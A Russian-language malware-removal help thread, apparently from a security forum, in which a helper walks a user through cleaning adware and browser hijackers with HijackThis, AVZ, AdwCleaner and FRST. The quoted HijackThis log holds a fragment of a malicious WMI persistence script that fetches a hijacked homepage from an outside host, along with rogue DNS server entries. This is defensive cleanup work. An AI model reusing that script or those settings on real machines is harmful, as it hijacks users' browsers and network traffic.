Русские и китайские вирусы, трояны и прочая реклама с браузерами. [not-a-virus:HEUR:AdWare.Win32.Generic, not-a-virus:HEUR:AdWare.Win32.Sokuxuan.gen ]

**Симеон Семёнов** · 15.12.2016, 22:08

Словил уйму дряни на китайском и русском. 360Bizhi, Maoha WiFi, Ludashi, IObit, Traffic Exchange, UC Browser, редирект на yeabd66.cc, Ubar, амигобраузер, всякая всячина от мейлру и черт знает что еще. Попробовал поудалять, почистить реестр, планировщик задач, посбрасывать настройки на браузерах, но этого дерьма слишком много. Пожалуйста помогите.

Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

**Info_bot** · 15.12.2016, 22:09

Уважаемый(ая) Симеон Семёнов, спасибо за обращение на наш форум!

Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

**Симеон Семёнов** · 16.12.2016, 11:59

Ваш бот какой-то странный. Я и так прикрепил логи из инструкции, что ему еще надо?

**Vvvyg** · 16.12.2016, 19:49

Сообщение от Симеон Семёнов

Ваш бот какой-то странный. Я и так прикрепил логи из инструкции, что ему еще надо?

Бот не читатель, он писатель

Пофиксите в HijackThis (в Windows Vista/7/8/10 необходимо запускать через правую кнопку мыши Запуск от имени администратора)):

Код:

O10 - Unknown file in Winsock LSP: chtbrkg.dll
O10 - Unknown file in Winsock LSP: chtbrkg.dll
O10 - Unknown file in Winsock LSP: chtbrkg.dll
O10 - Unknown file in Winsock LSP: chtbrkg.dll
O10 - Unknown file in Winsock LSP: chtbrkg.dll
O10 - Unknown file in Winsock LSP: chtbrkg.dll
O10 - Unknown file in Winsock LSP: chtbrkg.dll
O10 - Unknown file in Winsock LSP: chtbrkg.dll
O10 - Unknown file in Winsock LSP: chtbrkg.dll
O10 - Unknown file in Winsock LSP: chtbrkg.dll
O10 - Unknown file in Winsock LSP: chtbrkg.dll
O10 - Unknown file in Winsock LSP: chtbrkg.dll
O10 - Unknown file in Winsock LSP: chtbrkg.dll
O17 - HKLM\System\CSS\Services\Tcpip\..\{146AB886-03AC-4383-AA5D-1F26F7C04F11}: NameServer = 130.255.73.90
O17 - HKLM\System\CSS\Services\Tcpip\..\{146AB886-03AC-4383-AA5D-1F26F7C04F11}: NameServer = 45.63.91.109
O17 - HKLM\System\CSS\Services\Tcpip\..\{32DC22B3-DCF4-45B6-A79C-49FFDB46EE2C}: NameServer = 130.255.73.90
O17 - HKLM\System\CSS\Services\Tcpip\..\{32DC22B3-DCF4-45B6-A79C-49FFDB46EE2C}: NameServer = 45.63.91.109
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{146AB886-03AC-4383-AA5D-1F26F7C04F11}: NameServer = 130.255.73.90
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{146AB886-03AC-4383-AA5D-1F26F7C04F11}: NameServer = 45.63.91.109
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{32DC22B3-DCF4-45B6-A79C-49FFDB46EE2C}: NameServer = 130.255.73.90
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{32DC22B3-DCF4-45B6-A79C-49FFDB46EE2C}: NameServer = 45.63.91.109
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{146AB886-03AC-4383-AA5D-1F26F7C04F11}: NameServer = 130.255.73.90
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{146AB886-03AC-4383-AA5D-1F26F7C04F11}: NameServer = 45.63.91.109
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{32DC22B3-DCF4-45B6-A79C-49FFDB46EE2C}: NameServer = 130.255.73.90
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{32DC22B3-DCF4-45B6-A79C-49FFDB46EE2C}: NameServer = 45.63.91.109
O25 - WMI Event: ASEC - EventFilter sethomePage2 - Dim xmlHttp:Dim homePageUrl:Set xmlHttp = CreateObject("MSXML2.XMLHTTP"):xmlHttp.open "GET", "http://bbtbfr.pw/GetHPHost?"&Timer(), False:On Error Resume Next:xmlHttp.send:if xmlHttp.status = 200 then:homePageUrl= xmlHttp.responseText:end if:Dim objFS:Set objFS = CreateObject("Scripting.FileSystemOb(2735 bytes)

Программа находится в папке AutoLogger\HiJackThis.

Выполните скрипт в AVZ:

Код:

begin
 TerminateProcessByName('c:\programdata\service.exe');
 StopService('GoogleChromeUpService');
 StopService('UbarCalloutDriver');
 QuarantineFile('c:\users\18ee~1\appdata\local\temp\6828818\rmxtools v1.8 fix.zip.exe', '');
 QuarantineFile('c:\users\18ee~1\appdata\local\temp\6755248\rmxtools v1.8 fix.zip.exe', '');
 QuarantineFile('c:\programdata\service.exe', '');
 QuarantineFile('C:\Windows\system32\chtbrkg.dll', '');
 QuarantineFile('c:\users\владимир\appdata\roaming\360bizhi\lpi\wpsvc.dll', '');
 QuarantineFile('C:\Windows\SysWOW64\chtbrkg.dll', '');
 QuarantineFile('c:\users\владимир\appdata\roaming\360bizhi\360Base.dll', '');
 QuarantineFile('c:\users\владимир\appdata\roaming\360bizhi\wallpaperhelper\CheckHp.dll', '');
 QuarantineFile('C:\Program Files\UBar\UbarService.exe', '');
 QuarantineFile('C:\Program Files (x86)\Mail.Ru\MailRuUpdater\MailRuUpdater.exe', '');
 QuarantineFile('C:\Windows\system32\drivers\mwescontroller.sys', '');
 QuarantineFile('C:\Program Files\UBar\UbarDriver.sys', '');
 QuarantineFile('C:\Windows\System32\drivers:ucdrv-x64.sys', '');
 QuarantineFile('C:\ProgramData\hdtask\hdtask.exe', '');
 QuarantineFile('C:\Program Files\my web shield\mweshield.exe', '');
 QuarantineFile('C:\Program Files\my web shield\mweshieldup.exe', '');
 DeleteFile('c:\programdata\service.exe', '32');
 DeleteFile('C:\Windows\system32\chtbrkg.dll', '32');
 DeleteFile('c:\users\владимир\appdata\roaming\360bizhi\lpi\wpsvc.dll', '32');
 DeleteFile('C:\Windows\SysWOW64\chtbrkg.dll', '32');
 DeleteFile('c:\users\владимир\appdata\roaming\360bizhi\360Base.dll', '32');
 DeleteFile('c:\users\владимир\appdata\roaming\360bizhi\wallpaperhelper\CheckHp.dll', '32');
 DeleteFile('C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe', '32');
 DeleteFile('C:\Program Files\UBar\UbarService.exe', '32');
 DeleteFile('C:\Program Files (x86)\Mail.Ru\MailRuUpdater\MailRuUpdater.exe', '32');
 DeleteFile('MaohaWifiSvr.sys', '32');
 DeleteFile('C:\Windows\73794472873d8629cfc4ec9465edd53c.exe', '32');
 DeleteFile('C:\Windows\system32\drivers\KuaiZipDrive.sys', '32');
 DeleteFile('C:\Windows\system32\drivers\mwescontroller.sys', '32');
 DeleteFile('C:\Program Files\UBar\UbarDriver.sys', '32');
 DeleteFile('MaohaWifiNetPro.sys', '32');
 DeleteFile('C:\Windows\System32\drivers:ucdrv-x64.sys', '32');
 DeleteFile('C:\ProgramData\hdtask\hdtask.exe', '32');
 DeleteFile('C:\PROGRA~2\IObit\SURFIN~1\BROWER~1\ASCPLU~1.DLL', '32');
 DeleteFile('C:\Program Files\my web shield\mweshield.exe', '32');
 DeleteFile('C:\Program Files\my web shield\mweshieldup.exe', '32');
 DeleteService('GoogleChromeUpService');
 DeleteService('LiveUpdateSvc');
 DeleteService('UbarPolicyProvider');
 DeleteService('Updater.Mail.Ru');
 DeleteService('MaohaWifiSvr');
 DeleteService('mwescontroller');
 DeleteService('UbarCalloutDriver');
 DeleteService('MaohaWifiNetPro');
 DeleteService('ucdrv');
 DeleteFileMask('c:\users\владимир\appdata\roaming\360bizhi', '*', true);
 DeleteFileMask('c:\program files (x86)\iobit', '*', true);
 DeleteFileMask('c:\program files\ubar', '*', true);
 DeleteFileMask('c:\program files (x86)\mail.ru', '*', true);
 DeleteFileMask('c:\programdata\hdtask', '*', true);
 DeleteFileMask('c:\progra~2\iobit', '*', true);
 DeleteFileMask(' c:\users\Владимир\appdata\local\mail.ru', '*', true);
 DeleteFileMask('c:\program files\my web shield', '*', true);
 DeleteDirectory('c:\users\владимир\appdata\roaming\360bizhi');
 DeleteDirectory('c:\program files (x86)\iobit');
 DeleteDirectory('c:\program files\ubar');
 DeleteDirectory('c:\program files (x86)\mail.ru');
 DeleteDirectory('c:\programdata\hdtask');
 DeleteDirectory('c:\progra~2\iobit');
 DeleteDirectory(' c:\users\Владимир\appdata\local\mail.ru');
 DeleteDirectory('c:\program files\my web shield');
 DelBHO('{BA0C978D-D909-49B6-AFE2-8BDE245DC7E6}');
 DelBHO('{10921475-03CE-4E04-90CE-E2E7EF20C814}');
 DelBHO('{8E8F97CD-60B5-456F-A201-73065652D099}');
 ExecuteFile('schtasks.exe', '/delete /TN "MailRuUpdater" /F', 0, 15000, true);
 ExecuteFile('ipconfig.exe', '/flushdns', 0, 15000, true);
 RegKeyParamDel('HKEY_CURRENT_USER', 'Software\Microsoft\Windows\CurrentVersion\Run', 'hdtask');
 RegKeyParamDel('HKEY_LOCAL_MACHINE', 'SYSTEM\CurrentControlSet\Services\WpSvc\Parameters', 'ServiceDll');
 CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
ExecuteSysClean;
 ExecuteRepair(3);
 ExecuteRepair(14);
 ExecuteRepair(21);
 ExecuteWizard('SCU', 2, 2, true);
RebootWindows(true);
end.

Компьютер перезагрузится.

В папке с AVZ появится архив карантина quarantine.zip, отправьте этот файл по ссылке "Прислать запрошенный карантин" над над первым сообщением в теме.

Сделайте лог AdwCleaner (by Xplode).

**Симеон Семёнов** · 16.12.2016, 21:11

Карантин отправил, вот лог AdwCleaner. Кстати, хайджек не хочет чинить или удалять chtbrkg.dll, предлагал мне на сайт foolslock зайти (или что-то вроде того), я отказался.

**Vvvyg** · 17.12.2016, 09:38

Удалите всё найденное в AdwCleaner, дождитесь окончания удаления и перезагрузите систему по требованию программы.
После входа в систему откроется отчёт AdwCleaner - файл AdwCleaner[C0].txt, прикрепите к своему следующему сообщению.

Скачайте Farbar Recovery Scan Tool и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
Кроме уже установленных, отметьте галочками также "90 Days Files".

Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа.
Прикрепите эти файлы к своему следующему сообщению (можно все в одном архиве).

**Симеон Семёнов** · 17.12.2016, 10:03

Отсылаю логи.

**Vvvyg** · 17.12.2016, 10:20

Откройте Блокнот (Старт =>Программы => Стандартные => Блокнот). Скопируйте в него следующий код:

Код:

CreateRestorePoint:
HKU\S-1-5-18\...\Run: [] => 0
GroupPolicy: Restriction - Chrome <======= ATTENTION
GroupPolicy\User: Restriction <======= ATTENTION
BHO: ExplorerWnd Helper -> {10921475-03CE-4E04-90CE-E2E7EF20C814} -> C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallExplorer64.dll => No File
FF Extension: (Ghostery) - C:\Users\Владимир\AppData\Roaming\Mozilla\Firefox\Profiles\y0ufgyh8.default\Extensions\[email protected] [2016-12-01]
CHR HomePage: Default -> hxxp://mail.ru/cnt/10445?gp=811005
CHR StartupUrls: Default -> "hxxp://mail.ru/cnt/10445?gp=811005"
2016-12-15 15:46 - 2016-12-15 15:46 - 00524696 _____ () C:\Program Files\їмС№\X64\KZipShell.dll
2016-12-15 20:09 - 2016-12-15 20:09 - 00000000 ____D C:\ProgramData\{BAF091CA-86C4-4627-ADA1-897E2621C1B0}
2016-12-15 15:53 - 2016-12-15 15:53 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\360安全中心
2016-12-15 15:47 - 2016-12-15 18:31 - 00000000 ____D C:\Users\Владимир\AppData\Roaming\360bizhi
2016-12-15 15:46 - 2016-12-15 16:38 - 00000000 ____D C:\Program Files\їмС№
2016-12-15 15:45 - 2016-12-15 15:45 - 00000000 __SHD C:\Users\Владимир\AppData\Local\svchost
2016-12-15 15:45 - 2016-11-09 15:55 - 00778752 _____ C:\Windows\system32\chtbrkg.dll
2016-10-04 07:17 - 2016-10-04 07:17 - 0000000 ____H () C:\Users\Владимир\AppData\Local\BIT5CEF.tmp
AlternateDataStreams: C:\Windows\system32\drivers:ucdrv-x64.sys [80850]
AlternateDataStreams: C:\Windows\system32\drivers:x64 [360536]
AlternateDataStreams: C:\Windows\system32\drivers:x86 [1156450]
FirewallRules: [{2BFA4CC7-86A2-44EF-8DCA-0BD3AD55D2FE}] => C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
FirewallRules: [{5416F206-ACB0-4894-BE0B-DE96396D4EA5}] => C:\Program Files (x86)\LuDaShi\ComputerZTray.exe
FirewallRules: [{571FC421-D755-4FB4-9C85-95DA573D8DF7}] => C:\Program Files (x86)\LuDaShi\ComputerZTray.exe
FirewallRules: [{2A608EA1-6736-49F3-8471-5F9C015DA07B}] => C:\Program Files (x86)\LuDaShi\Utils\mininews.exe
FirewallRules: [{85A38D9A-F0DA-44D2-8C78-1012695C1E95}] => C:\Program Files (x86)\LuDaShi\Utils\mininews.exe
FirewallRules: [{121A4CDC-1D14-4762-A9AB-B07A643CF728}] => C:\Program Files (x86)\Maoha\MaohaAP\MaohaWifiSvr.exe
FirewallRules: [{4268279C-D79F-4B23-AACD-E92BC025E58F}] => C:\Program Files\UBar\ubar.exe
Reboot:

и сохраните как fixlist.txt в папку с Farbar Recovery Scan Tool. При сохранении выберите кодировку Юникод!
Отключите до перезагрузки антивирус, закройте все браузеры, запустите FRST, нажмите Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.

Очистите кэш и cookies-файлы браузеров и сообщите, что с проблемой.

**Симеон Семёнов** · 17.12.2016, 11:31

Ну в целом помогло, но AdwCleaner все еще ругается на два ключа в реестре и стартовую страницу в хроме (это уже после чистки кэша и печенек).

**Vvvyg** · 17.12.2016, 19:37

Fixlog.txt прикрепите.

В AdwCleaner ещё раз очистку после сканирования сделайте.

**CyberHelper** · 17.12.2016, 19:47

Статистика проведенного лечения:

Получено карантинов: 1
Обработано файлов: 13
В ходе лечения обнаружены вредоносные программы:
1. c:\programdata\service.exe - not-a-virus:HEUR:AdWare.Win32.Sokuxuan.gen ( BitDefender: Gen:Variant.Graftor.269178 )
2. c:\users\18ee~1\appdata\local\temp\6755248\rmxtool s v1.8 fix.zip.exe - not-a-virus:HEUR:AdWare.Win32.Generic
3. c:\users\18ee~1\appdata\local\temp\6828818\rmxtool s v1.8 fix.zip.exe - not-a-virus:HEUR:AdWare.Win32.Generic
4. c:\windows\system32\drivers\mwescontroller.sys - not-a-virus:AdWare.Win32.Agent.xxczea

Русские и китайские вирусы, трояны и прочая реклама с браузерами. [not-a-virus:HEUR:AdWare.Win32.Generic, not-a-virus:HEUR:AdWare.Win32.Sokuxuan.gen ] (заявка № 207011)

Опции темы